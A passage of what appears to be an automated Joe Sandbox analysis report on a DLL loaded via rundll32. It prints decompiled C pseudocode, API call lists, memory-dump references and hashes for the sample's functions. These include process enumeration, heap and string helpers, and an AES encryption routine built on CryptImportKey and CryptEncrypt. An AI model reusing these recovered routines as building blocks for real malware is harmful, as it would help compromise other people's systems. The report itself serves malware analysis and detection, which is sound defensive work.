			}









                    0x031830e0
                    0x031830ea
                    0x031830ee
                    0x031830f8
                    0x03183129
                    0x031830ff
                    0x03183104
                    0x03183111
                    0x0318311a
                    0x03183131
                    0x0318311c
                    0x03183124
                    0x00000000
                    0x03183124
                    0x03183132
                    0x03183133
                    0x00000000
                    0x03183133
                    0x00000000
                    0x0318312d
                    0x03183139
                    0x0318313e

                    APIs
                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 031830E5
                    • Process32First.KERNEL32(00000000,?), ref: 031830F8
                    • Process32Next.KERNEL32(00000000,?), ref: 03183124
                    • CloseHandle.KERNEL32(00000000), ref: 03183133
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                    • String ID:
                    • API String ID: 420147892-0
                    • Opcode ID: 34208c270a79b232ee334a80c9918e1852485196398da2959ccb72d5101b9ab7
                    • Instruction ID: 24aeb64efb93731a3ba931a0983d162b1701de500e76136af564dbc1ffc3deb0
                    • Opcode Fuzzy Hash: 34208c270a79b232ee334a80c9918e1852485196398da2959ccb72d5101b9ab7
                    • Instruction Fuzzy Hash: 6DF0967E5012145BD721F7669C49EEB776CDF8DA10F0904A2FA55D2000EB24C5968EA9
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03187843 Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E03187843(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}






                    0x0318784d
                    0x03187851
                    0x03187866
                    0x03187868
                    0x0318786d
                    0x03187873
                    0x03187875
                    0x0318787a
                    0x03187885
                    0x0318787c
                    0x0318787c
                    0x0318787c
                    0x0318787a
                    0x03187893

                    APIs
                    • memset.NTDLL ref: 03187851
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,74CF81D0,00000000,00000000), ref: 03187866
                    • CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 03187873
                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,03183F34,00000000,?), ref: 03187885
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: CreateEvent$CloseHandlememset
                    • String ID:
                    • API String ID: 2812548120-0
                    • Opcode ID: a4209eae9e9cbb8cd247f058e04c34f365bb134319f180fa4107a1fb50c5dbb9
                    • Instruction ID: fcf1914c5c638a95490fb8511521c2bb812dbe6d90161ef6247e51404b81b648
                    • Opcode Fuzzy Hash: a4209eae9e9cbb8cd247f058e04c34f365bb134319f180fa4107a1fb50c5dbb9
                    • Instruction Fuzzy Hash: 9DF03AB110430C6FD324AF26ACC482BBBACEB8A19CB214D2EB14292151D771A8498EA4
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03185364 Relevance: 6.0, APIs: 4, Instructions: 29sleepmemoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 50%
                    			E03185364(void** __esi) {
				intOrPtr _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t10;
				void* _t11;
				void** _t13;

				_t13 = __esi;
				_t4 =  *0x318a3cc; // 0x57c9600
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x318a3cc; // 0x57c9600
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t13;
				if(_t8 != 0 && _t8 != 0x318a030) {
					HeapFree( *0x318a2d8, 0, _t8);
				}
				_t13[1] = E031812C6(_v0, _t13);
				_t10 =  *0x318a3cc; // 0x57c9600
				_t11 = _t10 + 0x40;
				__imp__(_t11);
				return _t11;
			}










                    0x03185364
                    0x03185364
                    0x0318536d
                    0x0318537d
                    0x0318537d
                    0x03185382
                    0x03185387
                    0x00000000
                    0x00000000
                    0x03185377
                    0x03185377
                    0x03185389
                    0x0318538d
                    0x0318539f
                    0x0318539f
                    0x031853af
                    0x031853b2
                    0x031853b7
                    0x031853bb
                    0x031853c1

                    APIs
                    • RtlEnterCriticalSection.NTDLL(057C95C0), ref: 0318536D
                    • Sleep.KERNEL32(0000000A), ref: 03185377
                    • HeapFree.KERNEL32(00000000,00000000), ref: 0318539F
                    • RtlLeaveCriticalSection.NTDLL(057C95C0), ref: 031853BB
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                    • String ID:
                    • API String ID: 58946197-0
                    • Opcode ID: 96fa96648dac20d5a332b632a57ad52ef5a59727a9198cc8587233fd941bbbcc
                    • Instruction ID: 3bad52b3d79f0ae2d9d9ba0e2e315332d5f6d83d3bdfe6e0033b2dcd77807212
                    • Opcode Fuzzy Hash: 96fa96648dac20d5a332b632a57ad52ef5a59727a9198cc8587233fd941bbbcc
                    • Instruction Fuzzy Hash: 0AF0D471600241ABEB29FBA9DD48B267BAAEF0D341B048415BE01DA265D760D890DE3D
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03183230 Relevance: 6.0, APIs: 4, Instructions: 29memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E03183230() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x318a30c; // 0x2cc
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x318a35c; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x318a30c; // 0x2cc
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x318a2d8; // 0x53d0000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}








                    0x03183230
                    0x03183237
                    0x03183281
                    0x03183283
                    0x03183283
                    0x0318323b
                    0x03183241
                    0x03183246
                    0x0318324a
                    0x03183250
                    0x03183257
                    0x00000000
                    0x00000000
                    0x03183259
                    0x0318325e
                    0x00000000
                    0x00000000
                    0x00000000
                    0x0318325e
                    0x03183260
                    0x03183268
                    0x0318326b
                    0x0318326b
                    0x03183271
                    0x03183278
                    0x0318327b
                    0x0318327b
                    0x00000000

                    APIs
                    • SetEvent.KERNEL32(000002CC,00000001,0318109A), ref: 0318323B
                    • SleepEx.KERNEL32(00000064,00000001), ref: 0318324A
                    • CloseHandle.KERNEL32(000002CC), ref: 0318326B
                    • HeapDestroy.KERNEL32(053D0000), ref: 0318327B
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: CloseDestroyEventHandleHeapSleep
                    • String ID:
                    • API String ID: 4109453060-0
                    • Opcode ID: a2949c917ec3d19f65ce35ea72b1d78a94718b3380d6d22013ec530692a1ad44
                    • Instruction ID: 194d1f4cc0243aaf68379cbb0da57f351d9aed45d6a36d914acd4229b9be6212
                    • Opcode Fuzzy Hash: a2949c917ec3d19f65ce35ea72b1d78a94718b3380d6d22013ec530692a1ad44
                    • Instruction Fuzzy Hash: 35F0307DA0031197DB28FB759988A5237EDAF0CA61B0C0910BD10E72C8DB20D4809A78
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 0318607C Relevance: 6.0, APIs: 4, Instructions: 28sleepmemoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 37%
                    			E0318607C() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x318a3cc; // 0x57c9600
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x318a3cc; // 0x57c9600
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x318a3cc; // 0x57c9600
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x318b142) {
					HeapFree( *0x318a2d8, 0, _t10);
					_t7 =  *0x318a3cc; // 0x57c9600
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}









                    0x0318607c
                    0x03186085
                    0x03186095
                    0x03186095
                    0x0318609a
                    0x0318609f
                    0x00000000
                    0x00000000
                    0x0318608f
                    0x0318608f
                    0x031860a1
                    0x031860a6
                    0x031860aa
                    0x031860bd
                    0x031860c3
                    0x031860c3
                    0x031860cc
                    0x031860ce
                    0x031860d2
                    0x031860d8

                    APIs
                    • RtlEnterCriticalSection.NTDLL(057C95C0), ref: 03186085
                    • Sleep.KERNEL32(0000000A), ref: 0318608F
                    • HeapFree.KERNEL32(00000000), ref: 031860BD
                    • RtlLeaveCriticalSection.NTDLL(057C95C0), ref: 031860D2
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                    • String ID:
                    • API String ID: 58946197-0
                    • Opcode ID: 0121b85762d1085c003021572dcf3707c5ffbebbe6498f1f975c304b19a2bafe
                    • Instruction ID: a530c9200236092c841e62ae512ec87f987185ade41703a5b2bcb515bbff4009
                    • Opcode Fuzzy Hash: 0121b85762d1085c003021572dcf3707c5ffbebbe6498f1f975c304b19a2bafe
                    • Instruction Fuzzy Hash: 38F098B42002019FE71DFF55ED89A257BB9AF4C701B08815AEE02DB398C734A884DE3D
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03182058 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 58%
                    			E03182058(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E031833DC(_t2);
				if(_t34 != 0) {
					_t30 = E031833DC(_t28);
					if(_t30 == 0) {
						E031861DA(_t34);
					} else {
						_t39 = _a4;
						_t22 = E03187AE9(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E03187AE9(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}














                    0x03182058
                    0x03182062
                    0x03182064
                    0x0318206a
                    0x0318206a
                    0x03182073
                    0x03182077
                    0x03182083
                    0x03182087
                    0x031820fb
                    0x03182089
                    0x03182089
                    0x0318208d
                    0x03182092
                    0x03182097
                    0x031820b1
                    0x031820a0
                    0x031820a0
                    0x031820a4
                    0x031820a7
                    0x031820ac
                    0x031820ac
                    0x031820b6
                    0x031820de
                    0x031820e4
                    0x031820e7
                    0x031820b8
                    0x031820ba
                    0x031820c2
                    0x031820cd
                    0x031820d2
                    0x031820d2
                    0x031820ee
                    0x031820f5
                    0x031820f6
                    0x031820f6
                    0x03182087
                    0x03182106

                    APIs
                    • lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,031851F7,?,?,?,?,00000102,031821E7,?,?,74CF81D0), ref: 03182064
                      • Part of subcall function 031833DC: RtlAllocateHeap.NTDLL(00000000,00000000,031862F6), ref: 031833E8
                      • Part of subcall function 03187AE9: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,03182092,00000000,00000001,00000001,?,?,031851F7,?,?,?,?,00000102), ref: 03187AF7
                      • Part of subcall function 03187AE9: StrChrA.SHLWAPI(?,0000003F,?,?,031851F7,?,?,?,?,00000102,031821E7,?,?,74CF81D0,00000000), ref: 03187B01
                    • memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,031851F7,?,?,?,?,00000102,031821E7,?), ref: 031820C2
                    • lstrcpy.KERNEL32(00000000,00000000), ref: 031820D2
                    • lstrcpy.KERNEL32(00000000,00000000), ref: 031820DE
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: lstrcpy$AllocateHeaplstrlenmemcpy
                    • String ID:
                    • API String ID: 3767559652-0
                    • Opcode ID: 4cebbf32c01b8fa5fc43c84f2ca705b261bdac7fea605405e7ee14e919b41b87
                    • Instruction ID: c21e879f2cf672fe6df4bbce98ab90bf129b71b1fd48c00a1f14ada4ac8e825a
                    • Opcode Fuzzy Hash: 4cebbf32c01b8fa5fc43c84f2ca705b261bdac7fea605405e7ee14e919b41b87
                    • Instruction Fuzzy Hash: 6E21C076504255EFCB12FFA4C844AAFBFB8AF09290B198450F9059F201DB35D942CBA9
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03185DE4 Relevance: 5.0, APIs: 4, Instructions: 39stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E03185DE4(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E031833DC(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}








                    0x03185df9
                    0x03185dfd
                    0x03185e07
                    0x03185e0c
                    0x03185e11
                    0x03185e13
                    0x03185e1b
                    0x03185e20
                    0x03185e2e
                    0x03185e33
                    0x03185e3d

                    APIs
                    • lstrlenW.KERNEL32(004F0053,?,74CB5520,00000008,057C9270,?,031852D0,004F0053,057C9270,?,?,?,?,?,?,031868B6), ref: 03185DF4
                    • lstrlenW.KERNEL32(031852D0,?,031852D0,004F0053,057C9270,?,?,?,?,?,?,031868B6), ref: 03185DFB
                      • Part of subcall function 031833DC: RtlAllocateHeap.NTDLL(00000000,00000000,031862F6), ref: 031833E8
                    • memcpy.NTDLL(00000000,004F0053,74CB69A0,?,?,031852D0,004F0053,057C9270,?,?,?,?,?,?,031868B6), ref: 03185E1B
                    • memcpy.NTDLL(74CB69A0,031852D0,00000002,00000000,004F0053,74CB69A0,?,?,031852D0,004F0053,057C9270), ref: 03185E2E
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: lstrlenmemcpy$AllocateHeap
                    • String ID:
                    • API String ID: 2411391700-0
                    • Opcode ID: f001a5389a32a6ae7b766f0a12ce95cd5489b6a9a176131430fd47f43b13771b
                    • Instruction ID: dc1fca8120ab47096146c09c197b62b5fb7484bd879313f7c6b812fca21bcf11
                    • Opcode Fuzzy Hash: f001a5389a32a6ae7b766f0a12ce95cd5489b6a9a176131430fd47f43b13771b
                    • Instruction Fuzzy Hash: 8BF04F36900119BBCF11EFA8CC84CDEBBADEF092547154062ED14DB101E735EA108BA4
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03187563 Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrlen.KERNEL32(057C9BD0,00000000,00000000,00000000,03183EF9,00000000), ref: 03187573
                    • lstrlen.KERNEL32(?), ref: 0318757B
                      • Part of subcall function 031833DC: RtlAllocateHeap.NTDLL(00000000,00000000,031862F6), ref: 031833E8
                    • lstrcpy.KERNEL32(00000000,057C9BD0), ref: 0318758F
                    • lstrcat.KERNEL32(00000000,?), ref: 0318759A
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: lstrlen$AllocateHeaplstrcatlstrcpy
                    • String ID:
                    • API String ID: 74227042-0
                    • Opcode ID: a552d3c2ec1a34fbeed2126be5249a060f1252cf190bff250998c03da1db5b1c
                    • Instruction ID: 47b33e8b66e2990dbdcb4ee29a0cf1c4a996b4e065b79a4b1d71202143edc7e4
                    • Opcode Fuzzy Hash: a552d3c2ec1a34fbeed2126be5249a060f1252cf190bff250998c03da1db5b1c
                    • Instruction Fuzzy Hash: 37E09233501620AB8711BBA8AC48C6FFBACFF8D650308082AFA00D7104C73598018BB9
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Executed Functions

                    Function 02C91508 Relevance: 18.2, APIs: 12, Instructions: 163encryptionCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 107 2c91508-2c91548 CryptAcquireContextW 108 2c9169f-2c916a5 GetLastError 107->108 109 2c9154e-2c9158a memcpy CryptImportKey 107->109 112 2c916a8-2c916af 108->112 110 2c9168a-2c91690 GetLastError 109->110 111 2c91590-2c915a2 CryptSetKeyParam 109->111 115 2c91693-2c9169d CryptReleaseContext 110->115 113 2c915a8-2c915b1 111->113 114 2c91676-2c9167c GetLastError 111->114 116 2c915b9-2c915c6 call 2c933dc 113->116 117 2c915b3-2c915b5 113->117 118 2c9167f-2c91688 CryptDestroyKey 114->118 115->112 122 2c9166d-2c91674 116->122 123 2c915cc-2c915d5 116->123 117->116 119 2c915b7 117->119 118->115 119->116 122->118 124 2c915d8-2c915e0 123->124 125 2c915e2 124->125 126 2c915e5-2c91602 memcpy 124->126 125->126 127 2c9161d-2c91629 126->127 128 2c91604-2c9161b CryptEncrypt 126->128 129 2c91632-2c91634 127->129 128->129 130 2c91644-2c9164f GetLastError 129->130 131 2c91636-2c91640 129->131 133 2c91651-2c91661 130->133 134 2c91663-2c9166b call 2c961da 130->134 131->124 132 2c91642 131->132 132->133 133->118 134->118
                    C-Code - Quality: 50%
                    			E02C91508(int __eax, intOrPtr _a4, int _a8, void* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				int _v8;
				long* _v12;
				int _v16;
				void* _v20;
				long* _v24;
				void* _v39;
				char _v40;
				void _v56;
				int _v60;
				intOrPtr _v64;
				void _v67;
				char _v68;
				void* _t61;
				int _t68;
				signed int _t76;
				int _t79;
				int _t81;
				void* _t85;
				long _t86;
				int _t90;
				signed int _t94;
				int _t101;
				void* _t102;
				int _t103;
				void* _t104;
				void* _t105;
				void* _t106;

				_t103 = __eax;
				_t94 = 6;
				_v68 = 0;
				memset( &_v67, 0, _t94 << 2);
				_t105 = _t104 + 0xc;
				asm("stosw");
				asm("stosb");
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_t61 =  *0x2c9a0e8( &_v24, 0, 0, 0x18, 0xf0000000); // executed
				if(_t61 == 0) {
					_a8 = GetLastError();
				} else {
					_t101 = 0x10;
					memcpy( &_v56, _a8, _t101);
					_t106 = _t105 + 0xc;
					_v60 = _t101;
					_v67 = 2;
					_v64 = 0x660e;
					_v68 = 8;
					_t68 = CryptImportKey(_v24,  &_v68, 0x1c, 0, 0,  &_v12); // executed
					if(_t68 == 0) {
						_a8 = GetLastError();
					} else {
						_push(0);
						_push( &_v40);
						_push(1);
						_push(_v12);
						if( *0x2c9a0e4() == 0) {
							_a8 = GetLastError();
						} else {
							_t18 = _t103 + 0xf; // 0x10
							_t76 = _t18 & 0xfffffff0;
							if(_a4 != 0 && _t76 == _t103) {
								_t76 = _t76 + _t101;
							}
							_t102 = E02C933DC(_t76);
							_v20 = _t102;
							if(_t102 == 0) {
								_a8 = 8;
							} else {
								_v16 = 0;
								_a8 = 0;
								while(1) {
									_t79 = 0x10;
									_v8 = _t79;
									if(_t103 <= _t79) {
										_v8 = _t103;
									}
									memcpy(_t102, _a12, _v8);
									_t81 = _v8;
									_a12 = _a12 + _t81;
									_t103 = _t103 - _t81;
									_t106 = _t106 + 0xc;
									if(_a4 == 0) {
										_t85 =  *0x2c9a0a8(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8);
									} else {
										_t85 =  *0x2c9a0c0(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8, 0x20);
									}
									if(_t85 == 0) {
										break;
									}
									_t90 = _v8;
									_v16 = _v16 + _t90;
									_t102 = _t102 + _t90;
									if(_t103 != 0) {
										continue;
									} else {
										L17:
										 *_a16 = _v20;
										 *_a20 = _v16;
									}
									goto L21;
								}
								_t86 = GetLastError();
								_a8 = _t86;
								if(_t86 != 0) {
									E02C961DA(_v20);
								} else {
									goto L17;
								}
							}
						}
						L21:
						CryptDestroyKey(_v12);
					}
					CryptReleaseContext(_v24, 0);
				}
				return _a8;
			}






























                    0x02c91511
                    0x02c91517
                    0x02c9151a
                    0x02c91520
                    0x02c91520
                    0x02c91522
                    0x02c91524
                    0x02c91527
                    0x02c9152d
                    0x02c9152e
                    0x02c9152f
                    0x02c91535
                    0x02c9153a
                    0x02c91540
                    0x02c91548
                    0x02c916a5
                    0x02c9154e
                    0x02c91550
                    0x02c91559
                    0x02c9155e
                    0x02c91570
                    0x02c91573
                    0x02c91577
                    0x02c9157e
                    0x02c91582
                    0x02c9158a
                    0x02c91690
                    0x02c91590
                    0x02c91590
                    0x02c91594
                    0x02c91595
                    0x02c91597
                    0x02c915a2
                    0x02c9167c
                    0x02c915a8
                    0x02c915a8
                    0x02c915ab
                    0x02c915b1
                    0x02c915b7
                    0x02c915b7
                    0x02c915bf
                    0x02c915c1
                    0x02c915c6
                    0x02c9166d
                    0x02c915cc
                    0x02c915d2
                    0x02c915d5
                    0x02c915d8
                    0x02c915da
                    0x02c915db
                    0x02c915e0
                    0x02c915e2
                    0x02c915e2
                    0x02c915ec
                    0x02c915f1
                    0x02c915f4
                    0x02c915f7
                    0x02c915f9
                    0x02c91602
                    0x02c9162c
                    0x02c91604
                    0x02c91615
                    0x02c91615
                    0x02c91634
                    0x00000000
                    0x00000000
                    0x02c91636
                    0x02c91639
                    0x02c9163c
                    0x02c91640
                    0x00000000
                    0x02c91642
                    0x02c91651
                    0x02c91657
                    0x02c9165f
                    0x02c9165f
                    0x00000000
                    0x02c91640
                    0x02c91644
                    0x02c9164a
                    0x02c9164f
                    0x02c91666
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c9164f
                    0x02c915c6
                    0x02c9167f
                    0x02c91682
                    0x02c91682
                    0x02c91697
                    0x02c91697
                    0x02c916af

                    APIs
                    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,02C95088,00000001,02C93ECE,00000000), ref: 02C91540
                    • memcpy.NTDLL(02C95088,02C93ECE,00000010,?,?,?,02C95088,00000001,02C93ECE,00000000,?,02C966D9,00000000,02C93ECE,?,7491C740), ref: 02C91559
                    • CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 02C91582
                    • CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 02C9159A
                    • memcpy.NTDLL(00000000,7491C740,05429600,00000010), ref: 02C915EC
                    • CryptEncrypt.ADVAPI32(00000000,00000000,00000000,00000000,00000000,05429600,00000020,?,?,00000010), ref: 02C91615
                    • GetLastError.KERNEL32(?,?,00000010), ref: 02C91644
                    • GetLastError.KERNEL32 ref: 02C91676
                    • CryptDestroyKey.ADVAPI32(00000000), ref: 02C91682
                    • GetLastError.KERNEL32 ref: 02C9168A
                    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 02C91697
                    • GetLastError.KERNEL32(?,?,?,02C95088,00000001,02C93ECE,00000000,?,02C966D9,00000000,02C93ECE,?,7491C740,02C93ECE,00000000,05429600), ref: 02C9169F
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
